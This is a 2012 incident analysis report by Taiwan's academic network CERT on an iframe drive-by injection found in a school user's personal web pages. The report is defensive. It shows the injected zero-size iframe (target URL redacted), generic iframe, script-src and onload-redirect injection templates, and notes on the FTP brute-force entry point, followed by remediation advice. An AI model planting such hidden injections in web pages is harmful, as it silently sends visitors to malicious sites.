個案分析-

Iframe 網頁掛馬分析報告

TACERT 臺灣學術網路危機處理中心團隊製

2012/10

前言

網路發展迅速，近年來有許多服務 e 化，網路不再僅是獲得資訊的媒介，網路應用程式的蓬勃發展，使網路變成生活的好幫手，舉凡生活中的大小事，即便不出門也可以用網路完成一切。由於與生活密不可分，詐騙集團或是不法份子，也隨之利用網路進行惡意活動，那些被拿來從事惡意活動的網頁統稱為惡意網頁。

有些惡意網頁旨在取得使用者的個人資料，如登入網路服務的帳號密碼，或是使用者的個資，這類騙取資料的網頁統稱為釣魚網頁。另一些則是在使用者瀏覽網頁時，在沒有使用者同意的情況下，安裝惡意程式到使用者的主機中，利用使用者的主機資源從事惡意活動。

第二種類型的惡意網頁，實現方法有很多種，其中網頁掛馬就是其一，合法的網頁被注入某些網頁碼，使得瀏覽者被重新導向到另外一個惡意網站，或是直接在使用者瀏覽網頁時，背地裡下載惡意程式。本次的事件分析即是利用網頁掛馬，將瀏覽者的網頁重新導向。

事件說明

- L 國小的部份網頁有自動轉址現象
- 瀏覽轉址網頁時，小紅傘判定為 HTML/Infected.WebPage.Gen3
- 轉址後的網頁如圖二
- 放置網頁的主機另外還有 FTP 服務，供使用者上傳個人網頁

L 國小的某些網頁，有自動轉址的狀況出現(由圖一的正常網頁轉至圖二的網頁)，有此現象的網頁集中在某個 URL 的路徑（http://L.edu.tw/~abc/xxx.htm）之下，由於蚯蚓符號「~」後面加的字串即為某個使用者的帳號，可以知道該網址路徑是使用者 abc 家目錄，圖一為原本的網頁，圖二為導向之後的網頁。

圖一 本來的網頁

圖二 轉址網頁

使用者 abc 家目錄下所有.htm 結尾的網頁，其網頁碼最後一行都被插入 iframe 掛馬（如圖四），其語法為 <iframe src=……></iframe>。

```
# ls
0201.htm  0501.htm  0801.htm  0813      1009      1501.htm     button- back.swf   links.html
0301.htm  0502.htm  0802.htm  0813.htm  1009.htm  1502.htm     clip_image001.jpg  nav
0302.htm  0503.htm  0803.htm  0901.htm  1010.htm  1601.htm     DSC03372.JPG       photo
0303.htm  0504.htm  0804.htm  0902.htm  1101.htm  1701.htm     DSC03377.JPG       profile.html
0304.htm  0505      0805.htm  0903.htm  1201.htm  1702.htm     DSC03383.JPG       smill.html
0401.htm  0505.htm  0806.htm  0904.htm  1203      1703         DSC03385.JPG       theme_1.html
0402.htm  0506      0807.htm  1001.htm  1203.htm  1703.htm     favorite.html      theme_2.html
0403.htm  0506.htm  0808.htm  1002.htm  1301.htm  1801.htm     images             theme_3.html
0404.htm  0507      0809.htm  1004.htm  1302.htm  1802.htm     img1.gif           theme_4.html
0405.htm  0507.htm  0810      1005.htm  1303      1803.htm     img2.gif
0406.gif  0601.htm  0810.htm  1006.htm  1303.htm  1901.htm     img3.gif
0406.htm  0602.htm  0811.htm  1007.htm  1401.htm  1902.htm     img4.gif
0407      0603.htm  0812      1008      1402.htm  2101.htm     impact
0407.htm  0701.htm  0812.htm  1008.htm  1403.htm  butter.html  index.html
```

圖三 該家目錄下面的所有檔案內容

```
</html>
<iframe src="http://[redacted]/htm/" width="0" height="0" scrolling="no" frameborder="0">
</iframe>
```

圖四 每個網頁內容最後都有 iframe 掛馬

網頁掛馬說明

- Iframe

Iframe 是 html 語法的一種標籤，用來在網頁中另外內嵌一個網頁。駭客利用這種簡單的 html 語法，將惡意網址隱藏在長寬為 0 的 iframe 標籤中，使瀏覽者讀取沒有他們允許的網址。

語法範例：

<iframe src=木馬網址 width=0 height=0></iframe>

網頁掛馬有很多種，其他比較常見的還有：

- JavaScript
  - *<script type="text/javascript" src="惡意 js 檔案"></script>*
- Body 掛馬
  - *<body onload="window.location='木馬網址';"></body>*

建議措施

從主機的網址，就可以知道它使用家目錄當作個人網頁的放置處，通常這樣設置的主機也會連帶提供 FTP 讓每個使用者可以上傳個人的網頁到主機上。

這些在僅在家目錄 abc 底下出現的掛馬網頁，據分析是由於該帳號使用者的 FTP 登入密碼被破解，由於蚯蚓符號「~」後為帳號名稱，攻擊者並不需要猜測帳號，僅需要利用每個蚯蚓符號後的字串去暴力破解 FTP 的登入密碼便可。

在事件處理上，由於瀏覽者眾，若有網頁掛馬的情況出現，第一時間建議將主機下線，暫時停止網頁服務，將主機的更新以及有問題的網頁都處理好之後再上線。

由於將使用者家目錄當作網頁目錄的方式，會將帳號名稱於網址列中暴露，使駭客輕易取得主機的帳號進而猜測密碼，建議限制使用上傳服務的網路位址，設定僅有校內 IP 可以存取 FTP 服務。

參考資料

[1] http://www.ithome.com.tw/itadm/article.php?c=56649
[2] http://www.ithome.com.tw/itadm/article.php?c=69938
[3] http://www.path8.net/tn/archives/1796 各種掛馬方法介紹